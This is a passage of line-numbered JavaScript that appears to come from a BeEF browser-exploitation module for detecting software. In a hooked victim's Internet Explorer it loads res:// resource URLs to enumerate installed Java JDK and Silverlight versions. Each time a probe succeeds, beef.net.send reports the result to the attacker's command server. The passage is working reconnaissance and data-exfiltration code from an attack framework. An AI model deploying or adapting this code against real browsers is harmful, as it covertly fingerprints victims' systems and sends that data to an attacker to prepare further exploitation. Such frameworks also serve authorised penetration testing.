<%= @command_id %>, "installed_software=" + this.title); dom.removeChild(this); }614img.onerror= function() { dom.removeChild(this); }615dom.appendChild(img);616}617}618619// Enumerate Java JDK installs620beef.debug("[Detect Software] Enumerating JDK installs...");621var java_versions = ['1.8.0', '1.7.0', '1.6.0'];622for (var dir=0;dir<program_dirs.length; dir++) {623for (var v=0; v<java_versions.length; v++) {624for (var patch_level=0; patch_level<100; patch_level++) {625var pad = '';626if (patch_level < 10) pad = '0';627var img = new Image;628img.title = "Java JDK" + java_versions[v] + "_" + pad + patch_level;629img.src = "res://" + drive + ":\\" + program_dirs[dir] + "\\Java\\jdk" + java_versions[v] + "_" + pad + patch_level + "\\jre\\bin\\awt.dll/2/CHECK_BITMAP";630img.onload = function() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "installed_software=" + this.title); dom.removeChild(this); }631img.onerror= function() { dom.removeChild(this); }632dom.appendChild(img);633}634}635}636637// Enumerate Silverlight installs638beef.debug("[Detect Software] Enumerating Silverlight installs...");639var silverlight_versions = [640'5.1.50901.0',641'5.1.50709.0',642'5.1.50428.0',643'5.1.41212.0',644'5.1.41105.0',645'5.1.40728.0',646'5.1.40416.0',647'5.1.31211.0',648'5.1.30514.0',649'5.1.30214.0',650'5.1.20913.0',651'5.1.20513.0',652'5.1.20125.0',653'5.1.10411.0',654'5.0.61118.0',655'5.0.60818.0',656'5.0.60401.0',657'4.1.10329.0',658'4.1.10111.0',659'4.0.60831.0',660'4.0.60531.0',661'4.0.60310.0',662'4.0.60129.0',663'4.0.51204.0',664'4.0.50917.0',665'4.0.50826.0',666'4.0.50524.00',667'4.0.50401.00',668'3.0.50611.0',669'3.0.50106.00',670'3.0.40818.00',671'3.0.40723.00',672'3.0.40624.00',673'2.0.40115.00',674'2.0.31005.00',675'1.0.30715.00',676'1.0.30401.00',677'1.0.30109.00',678'1.0.21115.00',679'1.0.20816.00'680];681682for (var dir=0;dir<program_dirs.length; dir++) {683for (var i=0; i<silverlight_versions.length; i++) {684var img = new Image;685img.title = silverlight_versions[i];686img.src = "res://" + drive + ":\\" + program_dirs[dir] + "\\Microsoft Silverlight\\" + silverlight_versions[i] + "\\npctrl.dll/2/102";687img.onload = function() { beef.net.send("<%= @command_url %>", <%= @command_id %>, "installed_software=Microsoft Silverlight v" + this.title); dom.removeChild(this); }688img.onerror= function() { dom.removeChild(this); }689dom.appendChild(img);690}691}692});693694695696